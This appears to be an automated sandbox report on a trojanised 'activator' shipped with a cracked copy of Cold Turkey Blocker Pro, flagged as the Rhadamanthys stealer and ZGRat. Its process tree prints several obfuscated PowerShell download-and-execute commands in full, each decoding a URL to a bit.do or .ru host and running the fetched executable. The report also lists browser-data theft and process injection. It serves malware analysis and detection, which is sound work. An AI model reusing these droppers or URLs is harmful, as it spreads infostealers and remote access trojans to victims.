Overview

overview

10

Static

static

3

Cold Turke...or.exe

windows7-x64

10

Cold Turke...or.exe

windows11-21h2-x64

10

Cold Turke...er.exe

windows7-x64

7

Cold Turke...er.exe

windows11-21h2-x64

7

Analysis

  • max time kernel
    299s
  • max time network
    282s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    30/04/2024, 23:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Cold Turkey Blocker Pro 3.10/CTBActivator/Activator.exe
  • Size 7.8MB
  • Sample240430-237j2aaa3y
  • SHA256 b9ef692ccc85d8d010ab568f80622ded90813885f459cfe5b47175f5c854a236
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
rhadamanthyszgratdiscoveryevasionratspywarestealer

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://bit.do/e7RiX
  • exe.dropper

    http://bit.do/e7RiX

Signatures

  • Detect ZGRat V1 3 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

    stealerrhadamanthys
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 27 IoCs
  • Loads dropped DLL 24 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 27 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 9 IoCs
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1212
      • C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\CTBActivator\Activator.exe
        "C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\CTBActivator\Activator.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2388
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\116E.tmp\start2.bat" "C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\CTBActivator\Activator.exe""
          3⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2612
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\116E.tmp\m1.hta"
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:900
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL imhur $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;imhur pkzwjshtlmgd $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pkzwjshtlmgd;imhur brvxmhkwft $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JpWA==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);brvxmhkwft $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2664
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\116E.tmp\m1a.hta"
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:2984
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL cfgtiyleoxj $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;cfgtiyleoxj rxjawksc $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rxjawksc;cfgtiyleoxj lkhxvdgpjitz $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL25pY29zbGFnLnJ1L2FzZGZnLmV4ZQ==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);lkhxvdgpjitz $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2676
          • C:\Users\Admin\AppData\Local\Temp\116E.tmp\keygen.exe
            keygen.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:1616
          • C:\Windows\SysWOW64\timeout.exe
            timeout 1
            4⤵
            • Delays execution with timeout.exe
            PID:1600
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\116E.tmp\b1.hta"
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:2976
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL cfpdmyg $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;cfpdmyg pnuqyjbf $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pnuqyjbf;cfpdmyg josedgvxy $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JqaQ==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);josedgvxy $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:356
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\116E.tmp\b1a.hta"
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:2248
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL pgnfirdewovxsl $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;pgnfirdewovxsl ezosprk $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|ezosprk;pgnfirdewovxsl ctslxmfoz $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2tmZGhzYS5ydS9hc2RmZy5leGU=';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);ctslxmfoz $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2116
          • C:\Windows\SysWOW64\timeout.exe
            timeout 1
            4⤵
            • Delays execution with timeout.exe
            PID:852
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\116E.tmp\b2.hta"
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:896
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vqaznm $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vqaznm amvlntpxjbs $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|amvlntpxjbs;vqaznm gbxlmur $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JpdC5kby9lN1JqeA==';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);gbxlmur $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2468
          • C:\Windows\SysWOW64\mshta.exe
            "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\116E.tmp\b2a.hta"
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:2608
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$szhwgxcryvu = Get-Random -Min 3 -Max 4;$ndwmoasgtib = ([char[]]([char]97..[char]122));$fgozevw = -join ($ndwmoasgtib | Get-Random -Count $szhwgxcryvu | % {[Char]$_});$rgdkpfev = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$teqpigc = $fgozevw + $rgdkpfev;$ynbaxglmcto=[char]0x53+[char]0x61+[char]0x4c;$bdashvjgm=[char]0x49+[char]0x45+[char]0x58;$hiczpfnwvbq=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL xutrghv $ynbaxglmcto;$sdgihptjon=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;xutrghv hjlgdycxt $bdashvjgm;$ohnts=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|hjlgdycxt;xutrghv gbljpredwuxzv $hiczpfnwvbq;$ricjm = $ohnts + [char]0x5c + $teqpigc;;;;$unfec = 'aHR0cDovL2JyYXRpb3AucnUvYXNkZmcuZXhl';$unfec=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unfec));$gzuywpnci = New-Object $sdgihptjon;$urhwmqvp = $gzuywpnci.DownloadData($unfec);[IO.File]::WriteAllBytes($ricjm, $urhwmqvp);gbljpredwuxzv $ricjm;;$phqcjzd = @($wyotgpfu, $yogsjpf, $ytnbhwxqg, $ukitlj);foreach($skbuoerj in $phqcjzd){$null = $_}""
              5⤵
              • Blocklisted process makes network request
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2240
              • C:\Users\Public\gqk.exe
                "C:\Users\Public\gqk.exe"
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                PID:2452
                • C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
                  "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3340
                  • C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
                    "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
                    8⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4412
                • C:\Users\Public\gqk.exe
                  "C:\Users\Public\gqk.exe"
                  7⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3388
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:8648
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /4
        2⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:9148
      • C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\Cold_Turkey_Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\Cold_Turkey_Installer.exe"
        2⤵
        • Loads dropped DLL
        PID:1152
        • C:\Users\Admin\AppData\Local\Temp\is-O3CUR.tmp\Cold_Turkey_Installer.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-O3CUR.tmp\Cold_Turkey_Installer.tmp" /SL5="$30308,58222153,396800,C:\Users\Admin\AppData\Local\Temp\Cold Turkey Blocker Pro 3.10\Cold_Turkey_Installer.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          PID:304
          • C:\Windows\SysWOW64\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Cold Turkey Blocker" dir=out program="C:\Program Files\Cold Turkey\Cold Turkey Blocker.exe" action=allow
            4⤵
            • Modifies Windows Firewall
            PID:2192
          • C:\Windows\SysWOW64\netsh.exe
            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Cold Turkey Blocker" dir=in program="C:\Program Files\Cold Turkey\Cold Turkey Blocker.exe" action=allow
            4⤵
            • Modifies Windows Firewall
            PID:2696
          • C:\Users\Admin\AppData\Local\Temp\is-F11S6.tmp\_isetup\_setup64.tmp
            helper 105 0x2F0
            4⤵
            • Executes dropped EXE
            PID:968
          • C:\Program Files\Cold Turkey\CTServiceInstaller.exe
            "C:\Program Files\Cold Turkey\CTServiceInstaller.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:6472
          • C:\Program Files\Cold Turkey\Cold Turkey Blocker.exe
            "C:\Program Files\Cold Turkey\Cold Turkey Blocker.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:6492
            • C:\Program Files\Cold Turkey\eowp.exe
              "C:\Program Files\Cold Turkey\eowp.exe" --eoim --eo_init_data=eo.ipc.temp.6492.1.2
              5⤵
              • Executes dropped EXE
              PID:7272
            • C:\Program Files\Cold Turkey\eowp.exe
              "C:\Program Files\Cold Turkey\eowp.exe" --enable-speech-input --auto-scan-plugin --lang=en-US --enable-media-stream --no-sandbox --eo_init_data=eo.ipc.temp.6492.1.5
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:8700
              • C:\Program Files\Cold Turkey\eowp.exe
                "C:\Program Files\Cold Turkey\eowp.exe" --type=renderer --no-sandbox --service-pipe-token=6C8D0FDF60E21FD758AADCF8389172B9 --lang=en-US --lang=en-US --log-file="C:\Users\Admin\AppData\Local\Temp\debug.log" --log-severity=disable --enable-speech-input --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553 --disable-accelerated-video-decode --disable-gpu-compositing --enable-gpu-async-worker-context --service-request-channel-token=6C8D0FDF60E21FD758AADCF8389172B9 --renderer-client-id=2 --mojo-platform-channel-handle=1440 /prefetch:1 --eo_init_data=eo.temp.8700.1
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:8600
            • C:\Program Files\Cold Turkey\CTHostInstaller.exe
              "C:\Program Files\Cold Turkey\CTHostInstaller.exe" chrome false
              5⤵
              • Executes dropped EXE
              PID:7684
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getcoldturkey.com/support/extensions/chrome/
                6⤵
                • Enumerates system info in registry
                • Suspicious use of AdjustPrivilegeToken
                PID:7844
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef4349758,0x7fef4349768,0x7fef4349778
                  7⤵
                    PID:8020
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1132 --field-trial-handle=1196,i,15460049929216527670,13406440200479988676,131072 /prefetch:2
                    7⤵
                      PID:8452
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1528 --field-trial-handle=1196,i,15460049929216527670,13406440200479988676,131072 /prefetch:8
                      7⤵
                        PID:8616
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1624 --field-trial-handle=1196,i,15460049929216527670,13406440200479988676,131072 /prefetch:8
                        7⤵
                          PID:7876
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2304 --field-trial-handle=1196,i,15460049929216527670,13406440200479988676,131072 /prefetch:1
                          7⤵
                            PID:2616
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2312 --field-trial-handle=1196,i,15460049929216527670,13406440200479988676,131072 /prefetch:1
                            7⤵
                              PID:900
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1416 --field-trial-handle=1196,i,15460049929216527670,13406440200479988676,131072 /prefetch:2
                              7⤵
                                PID:4732
                          • C:\Program Files\Cold Turkey\CTHostInstaller.exe
                            "C:\Program Files\Cold Turkey\CTHostInstaller.exe" firefox false
                            5⤵
                            • Executes dropped EXE
                            PID:3928
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" https://getcoldturkey.com/support/extensions/firefox/
                              6⤵
                                PID:4060
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" https://getcoldturkey.com/support/extensions/firefox/
                                  7⤵
                                  • Checks processor information in registry
                                  • Modifies registry class
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3764
                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3764.0.825163383\799781881" -parentBuildID 20221007134813 -prefsHandle 1228 -prefMapHandle 1220 -prefsLen 20749 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f59052d-f29e-4159-a662-4f99ff5191f2} 3764 "\\.\pipe\gecko-crash-server-pipe.3764" 1292 109d7658 gpu
                                    8⤵
                                      PID:8120
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3764.1.1400260890\1140952968" -parentBuildID 20221007134813 -prefsHandle 1496 -prefMapHandle 1492 -prefsLen 21610 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0c74c68e-c92f-48de-83f1-82cddaee6bae} 3764 "\\.\pipe\gecko-crash-server-pipe.3764" 1508 f6fe58 socket
                                      8⤵
                                      • Checks processor information in registry
                                      PID:4044
                                    • C:\Program Files\Mozilla Firefox\firefox.exe
